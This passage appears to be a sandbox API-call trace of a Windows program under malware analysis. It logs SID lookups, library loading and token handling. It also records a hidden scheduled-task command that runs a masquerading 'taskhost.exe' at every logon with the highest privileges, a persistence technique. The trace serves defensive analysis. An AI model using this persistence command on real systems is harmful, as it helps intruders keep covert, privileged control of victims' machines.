0x1e [0142.640] SysStringLen (param_1="-") returned 0x1 [0142.640] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x3e | out: _Dst=0x12db38) returned 0x12db38 [0142.640] memcpy (in: _Dst=0x12db74, _Src=0x161948, _Size=0x4 | out: _Dst=0x12db74) returned 0x12db74 [0142.641] free (_Block=0x2aefc0) [0142.641] free (_Block=0x2af0c0) [0142.641] malloc (_Size=0x18) returned 0x2af0c0 [0142.641] malloc (_Size=0x18) returned 0x2aefc0 [0142.641] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0142.641] SysStringLen (param_1="3835049652") returned 0xa [0142.641] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x40 | out: _Dst=0x12d808) returned 0x12d808 [0142.641] memcpy (in: _Dst=0x12d846, _Src=0x161948, _Size=0x16 | out: _Dst=0x12d846) returned 0x12d846 [0142.641] free (_Block=0x2af0e0) [0142.641] free (_Block=0x2af0c0) [0142.641] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0142.641] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0142.641] malloc (_Size=0x18) returned 0x2af0c0 [0142.641] malloc (_Size=0x18) returned 0x2af0e0 [0142.641] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0142.641] SysStringLen (param_1="-") returned 0x1 [0142.641] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x54 | out: _Dst=0x12db38) returned 0x12db38 [0142.641] memcpy (in: _Dst=0x12db8a, _Src=0x161948, _Size=0x4 | out: _Dst=0x12db8a) returned 0x12db8a [0142.641] free (_Block=0x2aefc0) [0142.641] free (_Block=0x2af0c0) [0142.641] malloc (_Size=0x18) returned 0x2af0c0 [0142.642] malloc (_Size=0x18) returned 0x2aefc0 [0142.642] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0142.642] SysStringLen (param_1="1000") returned 0x4 [0142.642] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x56 | out: _Dst=0x12d808) returned 0x12d808 [0142.642] memcpy (in: _Dst=0x12d85c, _Src=0x161948, _Size=0xa | out: _Dst=0x12d85c) returned 0x12d85c [0142.642] free (_Block=0x2af0e0) [0142.642] free (_Block=0x2af0c0) [0142.642] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0142.642] malloc (_Size=0x5e) returned 0x2b08a0 [0142.642] free (_Block=0x2aefc0) [0142.642] malloc (_Size=0x18) returned 0x2aefc0 [0142.642] free (_Block=0x2b08a0) [0142.643] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0142.643] GetLastError () returned 0x7a [0142.643] malloc (_Size=0x14) returned 0x2af0c0 [0142.643] malloc (_Size=0x16) returned 0x2af0e0 [0142.643] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af0c0, cchName=0xe7ca94, ReferencedDomainName=0x2af0e0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0142.644] malloc (_Size=0x18) returned 0x2aefa0 [0142.644] malloc (_Size=0x18) returned 0x2aef80 [0142.644] free (_Block=0x2af0c0) [0142.644] free (_Block=0x2af0e0) [0142.644] free (_Block=0x2affd0) [0142.645] free (_Block=0x2aef80) [0142.645] free (_Block=0x2aefa0) [0142.645] free (_Block=0x2aefc0) [0142.645] free (_Block=0x2ae2e0) [0142.645] malloc (_Size=0x48) returned 0x2ad220 [0142.645] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0142.665] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0142.665] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0142.665] malloc (_Size=0x18) returned 0x2aefc0 [0142.665] CreateEnvironmentBlock () returned 0x1 [0142.669] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0142.669] malloc (_Size=0x18) returned 0x2aefa0 [0142.669] CreateProcessAsUserW (in: hToken=0x2ac, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"taskhost\" /sc ONLOGON /tr \"'C:\\Program Files\\Reference Assemblies\\taskhost.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x15b300, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"taskhost\" /sc ONLOGON /tr \"'C:\\Program Files\\Reference Assemblies\\taskhost.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x248, hThread=0x244, dwProcessId=0xfe4, dwThreadId=0xfe8)) returned 1 [0142.674] CloseHandle (hObject=0x248) returned 1 [0142.674] CloseHandle (hObject=0x244) returned 1 [0142.674] free (_Block=0x2aefa0) [0142.674] DestroyEnvironmentBlock () returned 0x1 [0142.674] malloc (_Size=0x48) returned 0x2ad270 [0142.674] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x23806800, dwHighDateTime=0x1d8a92a)) [0142.674] SetEvent (hEvent=0x1f0) returned 1 [0142.675] CloseHandle (hObject=0x1ec) returned 1 [0142.675] CloseHandle (hObject=0x2ac) returned 1 [0142.708] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0142.708] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0142.708] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0143.158] SetLastError (dwErrCode=0x0) [0143.158] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0143.158] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0143.158] SetLastError (dwErrCode=0x0) [0143.158] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0143.158] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0143.158] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0143.158] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0143.158] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0143.158] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0143.160] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0143.160] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0143.160] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0143.160] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0143.161] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0143.161] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0143.161] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0143.163] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0143.163] GetCurrentThread () returned 0xfffffffffffffffe [0143.163] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2d4) returned 1 [0143.163] malloc (_Size=0xd8) returned 0x2b35c0 [0143.163] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0143.163] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0143.164] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0143.164] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0143.164] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0143.164] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0143.164] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0143.164] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0143.164] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0143.165] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0143.165] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0143.165] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0143.165] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0143.165] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0143.165] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0143.165] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0143.166] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0143.166] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0143.166] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0143.166] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0143.166] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0143.166] malloc (_Size=0x18) returned 0x2aefc0 [0143.166] DuplicateTokenEx (in: hExistingToken=0x2d4, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x234) returned 1 [0143.167] malloc (_Size=0x48) returned 0x2ad270 [0143.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x23ca32a0, dwHighDateTime=0x1d8a92a)) [0143.167] SetEvent (hEvent=0x1f0) returned 1 [0143.170] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0143.170] GetLastError () returned 0x7a [0143.170] malloc (_Size=0x2c) returned 0x2ae2a0 [0143.170] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0143.171] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0143.171] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0143.171] malloc (_Size=0x1c) returned 0x2affa0 [0143.171] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affa0, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0143.171] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0143.171] malloc (_Size=0x18) returned 0x2aefc0 [0143.171] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0143.171] malloc (_Size=0x18) returned 0x2aefa0 [0143.171] malloc (_Size=0x18) returned 0x2aef80 [0143.171] SysStringLen (param_1="S-1-") returned 0x4 [0143.171] SysStringLen (param_1="5") returned 0x1 [0143.171] memcpy (in: _Dst=0x161a68, _Src=0x161828, _Size=0xa | out: _Dst=0x161a68) returned 0x161a68 [0143.171] memcpy (in: _Dst=0x161a70, _Src=0x161858, _Size=0x4 | out: _Dst=0x161a70) returned 0x161a70 [0143.171] free (_Block=0x2aefc0) [0143.171] free (_Block=0x2aefa0) [0143.171] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0143.171] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0143.171] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0143.171] malloc (_Size=0x18) returned 0x2aefa0 [0143.171] malloc (_Size=0x18) returned 0x2aefc0 [0143.171] SysStringLen (param_1="S-1-5") returned 0x5 [0143.172] SysStringLen (param_1="-") returned 0x1 [0143.172] memcpy (in: _Dst=0x161858, _Src=0x161a68, _Size=0xc | out: _Dst=0x161858) returned 0x161858 [0143.172] memcpy (in: _Dst=0x161862, _Src=0x161828, _Size=0x4 | out: _Dst=0x161862) returned 0x161862 [0143.172] free (_Block=0x2aef80) [0143.172] free (_Block=0x2aefa0) [0143.172] malloc (_Size=0x18) returned 0x2aefa0 [0143.172] malloc (_Size=0x18) returned 0x2aef80 [0143.172] SysStringLen (param_1="S-1-5-") returned 0x6 [0143.172] SysStringLen (param_1="21") returned 0x2 [0143.172] memcpy (in: _Dst=0x161828, _Src=0x161858, _Size=0xe | out: _Dst=0x161828) returned 0x161828 [0143.172] memcpy (in: _Dst=0x161834, _Src=0x161a68, _Size=0x6 | out: _Dst=0x161834) returned 0x161834 [0143.172] free (_Block=0x2aefc0) [0143.172] free (_Block=0x2aefa0) [0143.172] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0143.172] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0143.172] malloc (_Size=0x18) returned 0x2aefa0 [0143.172] malloc (_Size=0x18) returned 0x2aefc0 [0143.172] SysStringLen (param_1="S-1-5-21") returned 0x8 [0143.172] SysStringLen (param_1="-") returned 0x1 [0143.172] memcpy (in: _Dst=0x161a68, _Src=0x161828, _Size=0x12 | out: _Dst=0x161a68) returned 0x161a68 [0143.172] memcpy (in: _Dst=0x161a78, _Src=0x161858, _Size=0x4 | out: _Dst=0x161a78) returned 0x161a78 [0143.173] free (_Block=0x2aef80) [0143.173] free (_Block=0x2aefa0) [0143.173] malloc (_Size=0x18) returned 0x2aefa0 [0143.173] malloc (_Size=0x18) returned 0x2aef80 [0143.173] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0143.173] SysStringLen (param_1="4219442223") returned 0xa [0143.173] memcpy (in: _Dst=0x1182b8, _Src=0x161a68, _Size=0x14 | out: _Dst=0x1182b8) returned 0x1182b8 [0143.173] memcpy (in: _Dst=0x1182ca, _Src=0x161828, _Size=0x16 | out: _Dst=0x1182ca) returned 0x1182ca [0143.173] free (_Block=0x2aefc0) [0143.173] free (_Block=0x2aefa0) [0143.173] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0143.173] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0143.173] malloc (_Size=0x18) returned 0x2aefa0 [0143.173] malloc (_Size=0x18) returned 0x2aefc0 [0143.173] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0143.173] SysStringLen (param_1="-") returned 0x1 [0143.173] memcpy (in: _Dst=0x118218, _Src=0x1182b8, _Size=0x28 | out: _Dst=0x118218) returned 0x118218 [0143.173] memcpy (in: _Dst=0x11823e, _Src=0x161a68, _Size=0x4 | out: _Dst=0x11823e) returned 0x11823e [0143.173] free (_Block=0x2aef80) [0143.173] free (_Block=0x2aefa0) [0143.173] malloc (_Size=0x18) returned 0x2aefa0 [0143.173] malloc (_Size=0x18) returned 0x2aef80 [0143.174] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0143.174] SysStringLen (param_1="4223814209") returned 0xa [0143.174] memcpy (in: _Dst=0x12d918, _Src=0x118218, _Size=0x2a | out: _Dst=0x12d918) returned 0x12d918 [0143.174] memcpy (in: _Dst=0x12d940, _Src=0x161a68, _Size=0x16 | out: _Dst=0x12d940) returned 0x12d940 [0143.174] free (_Block=0x2aefc0) [0143.174] free (_Block=0x2aefa0) [0143.174] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0143.174] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0143.174] malloc (_Size=0x18) returned 0x2aefa0 [0143.174] malloc (_Size=0x18) returned 0x2aefc0 [0143.174] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0143.174] SysStringLen (param_1="-") returned 0x1 [0143.174] memcpy (in: _Dst=0x12dc48, _Src=0x12d918, _Size=0x3e | out: _Dst=0x12dc48) returned 0x12dc48 [0143.174] memcpy (in: _Dst=0x12dc84, _Src=0x161a68, _Size=0x4 | out: _Dst=0x12dc84) returned 0x12dc84 [0143.174] free (_Block=0x2aef80) [0143.174] free (_Block=0x2aefa0) [0143.174] malloc (_Size=0x18) returned 0x2aefa0 [0143.174] malloc (_Size=0x18) returned 0x2aef80 [0143.174] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0143.174] SysStringLen (param_1="3835049652") returned 0xa [0143.174] memcpy (in: _Dst=0x12d918, _Src=0x12dc48, _Size=0x40 | out: _Dst=0x12d918) returned 0x12d918 [0143.174] memcpy (in: _Dst=0x12d956, _Src=0x161a68, _Size=0x16 | out: _Dst=0x12d956) returned 0x12d956 [0143.175] free (_Block=0x2aefc0) [0143.175] free (_Block=0x2aefa0) [0143.175] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0143.175] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0143.175] malloc (_Size=0x18) returned 0x2aefa0 [0143.175] malloc (_Size=0x18) returned 0x2aefc0 [0143.175] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0143.175] SysStringLen (param_1="-") returned 0x1 [0143.175] memcpy (in: _Dst=0x12dc48, _Src=0x12d918, _Size=0x54 | out: _Dst=0x12dc48) returned 0x12dc48 [0143.175] memcpy (in: _Dst=0x12dc9a, _Src=0x161a68, _Size=0x4 | out: _Dst=0x12dc9a) returned 0x12dc9a [0143.175] free (_Block=0x2aef80) [0143.175] free (_Block=0x2aefa0) [0143.175] malloc (_Size=0x18) returned 0x2aefa0 [0143.175] malloc (_Size=0x18) returned 0x2aef80 [0143.175] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0143.175] SysStringLen (param_1="1000") returned 0x4 [0143.175] memcpy (in: _Dst=0x12d918, _Src=0x12dc48, _Size=0x56 | out: _Dst=0x12d918) returned 0x12d918 [0143.175] memcpy (in: _Dst=0x12d96c, _Src=0x161a68, _Size=0xa | out: _Dst=0x12d96c) returned 0x12d96c [0143.175] free (_Block=0x2aefc0) [0143.175] free (_Block=0x2aefa0) [0143.175] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0143.175] malloc (_Size=0x5e) returned 0x2b08a0 [0143.176] free (_Block=0x2aef80) [0143.176] malloc (_Size=0x18) returned 0x2aef80 [0143.176] free (_Block=0x2b08a0) [0143.176] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0143.179] GetLastError () returned 0x7a [0143.179] malloc (_Size=0x14) returned 0x2aefa0 [0143.179] malloc (_Size=0x16) returned 0x2aefc0 [0143.179] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefa0, cchName=0xe7ca84, ReferencedDomainName=0x2aefc0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0143.180] malloc (_Size=0x18) returned 0x2af0e0 [0143.180] malloc (_Size=0x18) returned 0x2af0c0 [0143.180] free (_Block=0x2aefa0) [0143.180] free (_Block=0x2aefc0) [0143.180] free (_Block=0x2affa0) [0143.180] free (_Block=0x2af0c0) [0143.180] free (_Block=0x2af0e0) [0143.180] free (_Block=0x2aef80) [0143.181] free (_Block=0x2ae2a0) [0143.181] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0143.181] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0143.181] GetLastError () returned 0x7a [0143.181] malloc (_Size=0x2c) returned 0x2ae2e0 [0143.181] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0143.181] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0143.181] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0143.181] malloc (_Size=0x1c) returned 0x2affa0 [0143.181] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affa0, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0143.181] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), 